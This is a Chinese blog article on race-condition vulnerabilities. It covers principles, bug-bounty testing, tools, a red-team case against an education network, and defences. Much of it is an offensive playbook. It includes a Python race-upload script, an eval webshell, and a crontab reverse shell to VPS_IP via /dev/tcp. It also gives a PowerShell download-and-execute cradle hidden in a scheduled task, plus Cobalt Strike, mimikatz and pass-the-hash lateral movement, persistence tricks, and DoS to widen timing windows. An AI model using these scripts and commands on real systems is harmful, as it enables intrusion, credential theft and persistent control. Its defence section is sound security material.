当前位置： 首页 > news >正文

条件竞争漏洞全解析：从原理到突破

news 2025/10/22 10:22:42

条件竞争漏洞全解析：从原理到红队内网突破（含 SRC 挖掘、工具链与护网实战）

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例，仅适用于已获得目标系统 / 网络所有者书面授权的测试场景（如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境）。
  2. 任何组织或个人若未取得明确书面授权，擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为，均属于非法网络活动，涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》（第 285 条 “非法侵入计算机信息系统罪”、第 286 条 “破坏计算机信息系统罪”）及《网络安全审查办法》等法律法规，作者对此类非法行为不承担任何责任，相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术，核心目的是帮助读者 “理解攻击原理，进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”，而非 “指导攻击”。
  4. 网络安全行业的核心伦理是 “保护而非破坏”：所有测试行为需严格控制在授权范围内，测试结束后需完整恢复目标系统状态（如删除后门、清理日志、还原配置），严禁窃取、篡改、泄露目标系统的敏感数据（如用户信息、商业机密、核心代码），严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分，合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容，即视为已充分理解并同意本免责声明的全部条款。

一、条件竞争漏洞核心原理：“并发操作的时序失控”

条件竞争漏洞（Race Condition）是指多个进程 / 线程 / 请求同时操作共享资源（如文件、数据库、内存变量）时，由于程序未设置有效的同步机制（如锁、原子操作），导致操作时序的不确定性被攻击者利用，触发非预期行为的漏洞。其本质是 “资源访问的原子性被破坏”—— 程序假设操作会按 “检查→执行” 的顺序完成，但攻击者通过并发请求打破这种顺序，在 “检查” 与 “执行” 之间的时间窗口（通常毫秒级）插入恶意操作，最终绕过限制或获取权限。

1. 漏洞产生的核心场景

条件竞争的触发依赖 “共享资源 + 并发操作 + 无同步控制” 三要素，以下为高频场景：

（1）文件操作类（最常见）

程序对文件的 “上传→验证→移动 / 删除” 流程未加锁，攻击者可在 “验证通过前” 或 “删除前” 访问文件：

  • 文件上传：如 “先保存临时文件（tmp123.php）→验证文件合法性→合法则重命名为shell.php，否则删除”。攻击者在 “保存后、验证 / 删除前” 的窗口期，通过高频请求访问tmp123.php，执行恶意代码；
  • 文件删除：如 “检查文件所有者→验证通过则删除文件”。攻击者在 “检查通过后、删除前” 的窗口期，将文件替换为敏感文件（如/etc/passwd），导致敏感文件被删除。
（2）权限与状态修改类

程序对 “权限验证→状态修改” 的流程未同步，攻击者通过并发请求绕过权限限制：

  • 水平越权：如 “检查用户 A 是否为文件所有者→允许 A 删除文件”。攻击者同时发送 “用户 A 删除请求” 和 “用户 B 修改文件所有者为 B 的请求”，若 “修改” 先于 “删除检查” 执行，B 可删除 A 的文件；
  • 订单支付：如 “检查订单金额→扣减账户余额→标记订单为已支付”。攻击者并发发送 “支付请求” 和 “修改订单金额为 0 的请求”，若 “修改” 先于 “扣减” 执行，可 0 元购买商品。
（3）数据库操作类

多线程并发读写数据库时，未使用事务或行锁，导致数据不一致被利用：

  • 库存超卖：如 “查询商品库存→库存> 0 则扣减 1→生成订单”。高并发请求下，多个线程同时读到 “库存 = 1”，均执行扣减，导致库存变为 - 1（超卖）；
  • 金额篡改：如 “查询账户余额→余额足够则转账→更新余额”。攻击者并发发送 “转账请求” 和 “充值请求”，若 “充值” 后的数据未被 “转账” 线程读取，可绕过余额限制完成转账。

2. 漏洞危害：从绕过限制到服务器受控

条件竞争的危害随场景不同差异较大，核心危害包括：

  • 文件上传绕过：突破文件类型限制，上传 webshell 获取服务器权限；
  • 权限越权：横向 / 垂直越权访问 / 修改敏感数据（如用户信息、订单）；
  • 业务逻辑破坏：如支付金额篡改、库存超卖、优惠券滥用；
  • 敏感文件操作：删除 / 替换系统文件（如/etc/sudoers）、数据库文件，导致系统崩溃或权限提升。

3. 与其他漏洞的关联（攻击链价值）

条件竞争常作为 “突破防御的跳板”，与其他漏洞结合形成攻击链：

  • 条件竞争 + 文件上传：突破文件类型验证，上传 webshell（最经典组合）；
  • 条件竞争 + 权限漏洞：通过并发操作放大越权影响（如从 “单文件越权” 扩展到 “批量数据篡改”）；
  • 条件竞争 + 提权：上传的 webshell 通过竞争替换/etc/crontab，实现定时任务提权。

二、SRC 中快速挖掘条件竞争漏洞：实战流程

SRC 中条件竞争的挖掘核心是 “定位高风险并发场景→构造并发请求→验证非预期结果”，需聚焦 “文件操作、权限修改、支付流程” 三大场景，按以下步骤高效落地：

1. 第一步：定位潜在竞争点（优先测试场景）

条件竞争仅存在于 “多用户 / 多请求并发操作同一资源” 的功能，按风险优先级排序，优先测试：

功能类型典型场景关键特征
文件上传 / 处理头像上传、附件上传、文件转换（如 PDF 转 Word）存在 “临时文件”“验证后重命名” 逻辑（如响应中含tmp前缀文件名）
文件删除 / 替换缓存清理、日志删除、文件更新操作前有 “权限检查”“存在性检查” 步骤
支付 / 订单系统下单、支付、退款、优惠券使用涉及 “金额校验→状态修改” 的流程，且高并发场景常见
权限管理角色变更、资源授权、密码修改操作依赖 “当前权限验证”，且可被并发请求干扰

定位方法：

  • 遍历网站功能，记录所有含 “上传”“删除”“支付”“权限修改” 的操作；
  • 分析操作流程：通过 Burp 拦截请求，观察是否存在 “临时文件生成→验证→最终处理” 的多步逻辑（如上传后返回tmp_xxx.jpg，验证通过后变为xxx.jpg）；
  • 结合业务场景判断：教育类 SRC 关注 “成绩上传 / 修改”，电商类关注 “支付 / 订单”，企业类关注 “文件管理系统”。

2. 第二步：构造并发请求验证漏洞（核心步骤）

找到潜在竞争点后，需通过 “高频并发请求 + 时序控制” 验证是否存在可利用的时间窗口：

（1）文件上传类竞争验证

原理：利用 “临时文件存在但未被验证 / 删除” 的窗口，访问临时文件执行恶意代码。

测试步骤：

  1. 分析上传流程：

    上传shell.php，通过 Burp 观察响应：若返回 “文件类型不允许”，但在响应包或日志中发现临时文件路径（如/upload/tmp_123.php）→存在临时文件机制，可能存在竞争；

  2. 构造并发请求：

    • 用 Burp Intruder 同时发送两个请求组：
      • 组 1：重复上传shell.php（触发临时文件生成）；
      • 组 2：高频访问临时文件路径（/upload/tmp_123.php）；
    • 配置 Intruder 为 “Pitchfork” 模式，线程数设为 50+，确保请求密集覆盖时间窗口；

  3. 验证结果：

    若组 2 的部分请求返回shell.php的执行结果（如phpinfo()）→证明条件竞争存在，可利用临时文件执行代码。

（2）权限修改类竞争验证

原理：利用 “权限检查通过但状态未更新” 的窗口，执行越权操作。

测试步骤：

  1. 分析权限流程：

    以 “用户 A 删除自己的文件file.txt” 为例，拦截请求发现流程为：

    POST /delete HTTP/1.1→服务器检查 “file.txt所有者是否为 A”→通过则删除；

  2. 构造并发请求：

    • 准备两个请求：
      • 请求 1：用户 A 发送删除file.txt的请求；
      • 请求 2：用户 B 发送修改file.txt所有者为 B 的请求（假设 B 有修改权限）；
    • 用多线程工具（如 Python threading）同时发送两个请求，重复 100 + 次；

  3. 验证结果：

    若file.txt被删除，且日志显示 “删除者为 A” 但 “删除时所有者为 B”→证明竞争存在，B 通过并发操作让 A 删除了 B 的文件（水平越权）。

（3）支付类竞争验证

原理：利用 “金额检查通过但扣减未完成” 的窗口，篡改金额实现低价 / 免费购买。

测试步骤：

  1. 分析支付流程：

    购买商品时，拦截请求发现流程为：

    POST /pay HTTP/1.1（携带订单 ID 和金额）→服务器检查 “订单金额是否为 100 元”→扣减账户 100 元→标记订单为已支付；

  2. 构造并发请求：

    • 准备两个请求：
      • 请求 1：正常支付请求（金额 100 元）；
      • 请求 2：篡改金额为 1 元的支付请求（订单 ID 相同）；
    • 用 Burp Intruder 高频并发发送，确保两个请求几乎同时到达服务器；

  3. 验证结果：

    若订单被标记为 “已支付”，但账户仅扣减 1 元→证明竞争存在，成功绕过金额验证。

3. 第三步：证明漏洞危害（SRC 提交核心依据）

条件竞争漏洞的危害需通过 “实际影响” 证明，不同场景的证明方式不同：

  • 文件上传类：提交 “并发请求成功执行phpinfo()的截图”+“临时文件路径与上传请求的关联证明”；
  • 权限越权类：提交 “越权操作前后的数据对比截图”（如 B 成功删除 A 的文件）+“并发请求日志”；
  • 支付类：提交 “0 元购买成功的订单截图”+“账户余额扣减记录”（需注意：禁止实际支付，仅用测试环境验证）。

三、条件竞争漏洞利用工具链：从并发请求到权限控制

红队利用条件竞争的工具需覆盖 “并发请求构造→时序控制→漏洞利用→权限提升” 全流程，以下为核心工具及实战用法：

1. 并发请求构造工具

（1）Burp Suite Intruder（最常用）

功能：通过多线程发送高频请求，覆盖时间窗口，适合文件上传、权限修改等场景。

实战配置（文件上传竞争）：

  1. 拦截上传请求（如POST /upload，文件为shell.php）和访问临时文件请求（如GET /upload/tmp_123.php）；
  2. 打开 Intruder，将两个请求加入 “Payload Sets”，模式选择 “Pitchfork”（并行发送两组请求）；
  3. 配置线程数：在 “Resource Pool” 中设置线程数为 50-100（根据目标抗压能力调整）；
  4. 取消 “Payload Encoding”（避免特殊字符被编码），点击 “Start Attack”；
  5. 观察攻击结果：若GET请求的响应码为 200 且包含phpinfo()内容→攻击成功。
（2）Python 多线程脚本（灵活定制）

功能：自定义并发逻辑，适合复杂场景（如带会话验证、多步骤竞争）。

实战脚本（文件上传竞争示例）：

import requests
import threading
import time# 目标信息
upload_url = "http://target.com/upload"
access_url = "http://target.com/upload/tmp_{}.php"  # 临时文件路径模板
session = requests.Session()
session.cookies.set("PHPSESSID", "your_session_id")  # 携带会话# 上传恶意文件的函数
def upload_file():while True:files = {"file": ("shell.php", "<?php phpinfo(); ?>", "application/octet-stream")}response = session.post(upload_url, files=files)# 从响应中提取临时文件名（假设响应含"tmp_123.php"）if "tmp_" in response.text:tmp_name = response.text.split("tmp_")[1].split(".php")[0]print(f"获取临时文件：tmp_{tmp_name}.php")return tmp_name# 访问临时文件的函数
def access_file(tmp_name):while True:url = access_url.format(tmp_name)response = session.get(url)if "phpinfo()" in response.text:print(f"成功执行！URL: {url}")exit()  # 成功后退出if __name__ == "__main__":# 先上传获取临时文件名tmp_name = upload_file()# 启动10个线程并发访问for i in range(10):t = threading.Thread(target=access_file, args=(tmp_name,))t.daemon = Truet.start()# 持续上传维持临时文件存在while True:upload_file()time.sleep(0.1)  # 控制上传频率

使用方法：替换upload_url、access_url和会话 ID，运行脚本，若控制台输出 “成功执行”→利用成功。

（3）RaceTheWeb（专门针对条件竞争）

功能：自动化检测文件上传类条件竞争，生成并发请求并监控结果。

实战命令：

# 安装RaceTheWeb
git clone https://github.com/evait-security/RaceTheWeb.git
cd RaceTheWeb# 配置目标（修改config.json）
{"target": "http://target.com","upload_endpoint": "/upload","file_param": "file","file_content": "<?php phpinfo(); ?>","tmp_file_pattern": "/upload/tmp_*.php",  # 临时文件路径模板"threads": 50
}# 运行工具
python3 racetheweb.py --config config.json

输出解读：若显示 “[+] Successfully accessed tmp_123.php with code 200”→漏洞利用成功。

2. 权限提升与内网渗透工具

（1）通过条件竞争上传的 webshell + 蚁剑

功能：利用条件竞争上传 webshell 后，通过蚁剑管理权限，执行系统命令。

实战步骤：

  1. 用 Burp 或 Python 脚本通过条件竞争上传shell.php内容：
<?php @eval($_POST['ant']);?>）
  1. 蚁剑添加连接：URL 为临时文件路径（http://target.com/upload/tmp_123.php），密码ant；
  2. 连接成功后执行whoami→获取www-data权限，进而浏览文件、执行提权命令。
（2）Cobalt Strike（内网横向移动）

功能：通过条件竞争上传的 webshell 植入 beacon，实现内网渗透与域控突破。

实战步骤：

  1. 在 Cobalt Strike 生成 PHP 类型 beacon（payload.php）；
  2. 通过条件竞争将payload.php上传至目标服务器，获取临时文件路径；
  3. 访问临时文件触发 beacon 上线，进入 Cobalt Strike 会话；
  4. 执行shell whoami确认权限，使用portscan扫描内网存活主机，psexec横向移动至域控。
（3）提权工具（利用竞争替换系统文件）

功能：通过条件竞争替换/etc/sudoers或计划任务文件，实现权限提升。

实战命令（Linux 替换 crontab）：

# 1. 准备恶意计划任务文件（/tmp/cron，内容：* * * * * root bash -i >& /dev/tcp/VPS_IP/4444 0>&1）
# 2. 构造并发请求：同时发送“删除原有crontab”和“替换为恶意cron”的请求
# （通过Python多线程脚本实现，重复100+次）# 3. 攻击者VPS监听端口
nc -lvp 4444  # 接收root反弹shell

四、实战与护网中条件竞争漏洞的深度利用（从服务器到域控）

条件竞争在护网中的核心价值是 “突破常规防御的隐蔽入口”—— 由于漏洞依赖时序，传统 WAF 难以检测，红队可借此上传 webshell 或绕过权限控制，进而渗透内网。以下为完整攻击链案例：

案例：护网中利用文件上传条件竞争突破教育系统内网

环境背景
  • 护网目标：某省级教育系统（DMZ 区→办公区→核心区）；
  • 突破点：DMZ 区 “教师资料上传系统”（http://172.16.1.10/upload）存在文件上传条件竞争；
  • 防护情况：系统部署 WAF 拦截.php文件，但对临时文件（tmp_*.dat）未拦截；
  • 内网拓扑：DMZ 区可访问办公区（192.168.1.0/24），核心区有域控（10.0.0.1）。
渗透步骤

阶段 1：利用条件竞争上传 webshell，突破 DMZ 区

  1. 分析上传流程：

    上传shell.php时，WAF 拦截并返回 “不支持的文件类型”，但通过 Burp 发现服务器先保存为/upload/tmp_123.dat，验证失败后删除（时间窗口约 50ms）。

  2. 构造并发请求：

    用 Python 多线程脚本同时执行：

    • 线程 1：持续上传shell.php（内容``），生成tmp_*.dat；
    • 线程 2：高频访问/upload/tmp_*.dat（通过响应提取临时文件名）。

  3. 获取 webshell 权限：

    约 30 秒后，线程 2 成功访问tmp_456.dat，请求?cmd=whoami返回apache→获取 DMZ 区 Web 权限。

阶段 2：内网信息收集与横向移动

  1. 探测内网存活主机：

    通过 webshell 执行cmd=ping -c 1 192.168.1.20（办公区教务系统），确认存活；

    执行cmd=nc -zv 10.0.0.1 389，发现核心区域控开放 LDAP 服务。

  2. 上传 Cobalt Strike beacon：

    生成beacon.php，通过条件竞争上传并触发上线，Cobalt Strike 获取会话；

    执行run mimikatz抓取apache用户密码（edu@123）。

  3. PTH 横向至办公区：

    利用edu@123的 NTLM 哈希，通过psexec登录192.168.1.20（教务系统，域成员主机）：

    psexec.py -hashes :A1B2C3D4E5F6A7B8C9D0 edu\apache@192.168.1.20

阶段 3：突破核心区域控

  1. 域内信息收集：

    在192.168.1.20执行net group "Domain Admins" /domain，获取域管理员列表（admin@edu.com）；

    通过BloodHound分析域内信任关系，发现192.168.1.20对域控有GenericAll权限。

  2. 利用条件竞争替换域控计划任务：

    在192.168.1.20上，通过条件竞争替换域控的C:\Windows\Tasks\sync.xml（同步任务文件），植入恶意代码：

    <Task><Actions><Exec><Command>cmd.exe</Command><Arguments>/c powershell -nop -c "IEX (New-Object System.Net.WebClient).DownloadString('http://172.16.1.10/beacon.ps1')"</Arguments></Exec></Actions>
</Task>

  3. 获取域控权限：

    域控执行同步任务时触发 beacon 上线，Cobalt Strike 获取域控会话（NT AUTHORITY\SYSTEM），完成核心区突破。

护网中条件竞争的核心利用技巧

（1）绕过 WAF 与防御机制
  • 文件命名混淆：上传文件命名为shell.php;.jpg（利用中间件解析漏洞），条件竞争时访问临时文件可被解析为 PHP；
  • 分块传输：将 webshell 分块上传（如part1.php+part2.php），通过条件竞争在服务器端拼接为完整文件；
  • 时间窗口放大：通过 DoS 攻击降低服务器处理速度（如发送大量垃圾请求），延长 “检查→执行” 的时间窗口（从毫秒级增至秒级）。
（2）内网场景适配
  • 利用内网高并发特性：教育系统、企业 OA 在高峰时段（如上班时间）并发请求多，服务器处理延迟高，条件竞争成功率提升；
  • 结合内网服务漏洞：通过条件竞争上传的 webshell，利用MS17-010（永恒之蓝）攻击内网 Windows 主机，或CVE-2021-4034（PwnKit）提权 Linux 主机。
（3）持久化控制
  • Linux 持久化：通过条件竞争替换/etc/rc.local（开机启动脚本），植入反弹 shell 命令；
  • Windows 持久化：替换C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp下的快捷方式，指向恶意程序。

五、条件竞争漏洞的防御与红队绕过技巧

1. 蓝队核心防御措施（消除时间窗口）

（1）文件操作防御
  • 原子操作：将 “保存→验证→移动 / 删除” 改为原子操作（如先在内存验证，通过后再写入磁盘，避免临时文件）；
  • 加锁机制：对临时文件加排他锁（如 Linux 的flock），确保同一时间只有一个进程操作；
  • 随机命名 + 不可执行权限：临时文件命名为随机字符串（如tmp_8f2d7a9c.dat），且上传目录设置为不可执行（chmod 644）。
（2）权限与状态修改防御
  • 事务机制：数据库操作使用事务（如 MySQL 的BEGIN→COMMIT），确保 “检查→修改” 要么全执行，要么全不执行；
  • 版本控制：对关键数据（如订单金额、文件所有者）添加版本号，修改前验证版本号未变（防止并发修改）；
  • 串行化处理：对同一资源的并发请求排队处理（如用 Redis 队列），避免并行执行。
（3）业务逻辑防御
  • 支付金额二次校验：支付时，服务器重新查询订单原始金额（而非信任客户端提交的金额），确保金额一致；
  • 库存预扣减：下单时先预扣减库存（标记为 “锁定”），超时未支付则释放，避免超卖；
  • 日志审计：记录关键操作的时序日志（如 “谁在何时修改了什么”），便于事后追溯竞争攻击。

2. 红队绕过技巧（对抗防御措施）

（1）绕过原子操作
  • 利用系统特性：若程序使用 “内存验证→写入磁盘”，但验证逻辑存在漏洞（如仅检查文件头），可构造 “头部合法 + 尾部恶意” 的文件，通过条件竞争在写入磁盘后访问；
  • 攻击临时目录：若程序将临时文件写入/tmp（Linux）或C:\Windows\Temp（Windows），且这些目录可被其他用户访问，可通过竞争替换临时文件。
（2）绕过加锁机制
  • 多进程竞争：若程序仅对单进程加锁（如 PHP 的flock在多进程环境下失效），通过多线程 + 多进程并发请求，突破单进程锁限制；
  • 锁超时利用：若锁设置了超时时间（如 100ms），通过高频请求在超时后立即访问，利用锁释放的窗口。
（3）绕过串行化处理
  • 分布式竞争：若程序仅在单服务器上串行处理，但部署在多服务器（如负载均衡），可向不同服务器发送并发请求，利用服务器间的同步延迟；
  • 长连接保持：通过Keep-Alive保持长连接，让多个请求处于 “待处理” 状态，当服务器资源耗尽时，串行队列失效，触发并行处理。

六、总结

条件竞争漏洞的本质是 “并发操作的时序失控”，其在红队渗透中的核心价值是 “突破常规防御的隐蔽入口”—— 由于依赖毫秒级时间窗口，传统 WAF 和静态扫描工具难以检测，成为红队在护网中突破防线的重要手段。

挖掘与利用的关键思维是 “场景适配 + 时序控制”：

  1. 识别层：聚焦文件上传、支付、权限修改等高并发场景，通过 Burp 分析流程中的 “多步操作”；
  2. 验证层：用 Burp Intruder 或 Python 多线程构造并发请求，覆盖时间窗口，验证非预期结果；
  3. 利用层：根据场景选择 “上传 webshell→提权” 或 “权限越权→数据篡改”，结合内网工具横向移动；
  4. 对抗层：针对蓝队的加锁、原子操作等防御，利用多进程、分布式请求绕过，放大时间窗口。

注意：所有测试需在合法授权下进行，条件竞争的高频请求可能对服务器造成 DoS 风险，需提前与目标方沟通，控制请求强度。未经授权的攻击均属违法，违反《网络安全法》及《刑法》第 285/286 条，需自行承担法律责任。

http://www.dtcms.com/a/512211.html

相关文章：

  • 面试_场景方案设计_联系
  • 判断网站首页阿里巴巴做网站营销有没有用
  • uniapp 请求携带数据 \\接口传值 \\ map遍历数据
  • 宝安沙井网站建设网站开发证书
  • 物联网卡为什么要支持双栈
  • 国外美容院网站建设监理工程师网站
  • 一键修复工具背后的机制：如何自动解决常见网络故障
  • MySQL 创建和授权用户
  • 遥控器KC模块技术解析
  • 申请域名建立网站做网站需要购买网站空间吗
  • 网页的创新型网站策划陵川网站建设
  • 个人网站备案代理wordpress文章发布函数
  • 陕西省建设厅网站wap网站开发视频教程
  • 网站开发过程有几个阶段溧水网站建设
  • C++11----模板可变参数
  • 怎么做网站数据库备份公众号软文推广多少钱一篇
  • triton backend 模式docker 部署 pytorch gpu模型 镜像选择
  • RabbitMQ 自动化脚本安装方案
  • 前端三驾马车（HTML/CSS/JS）核心概念深度解析
  • Debug——主机无法访问虚拟机中Docker开启的容器
  • 网站配色与布局凡客诚品公司介绍
  • 怎么用企业网站做营销商城小程序多少钱
  • 大模型推理中的 Prefill/Decode 分离技术的一些思考
  • PCIe 枚举设备 学习
  • Linux外设驱动模块加载底层原理深度剖析
  • NAS文件远程同步攻略：群晖CloudSync进阶，告别U盘拷贝时代！
  • 关于网站建设请示校园二手交易网站值得做吗
  • 【C语言实战(39)】C语言排序算法实战：冒泡、选择与插入的对决
  • spark组件-spark core（批处理）-rdd血缘
  • 8 款企业微信 SCRM 工具功能对比分析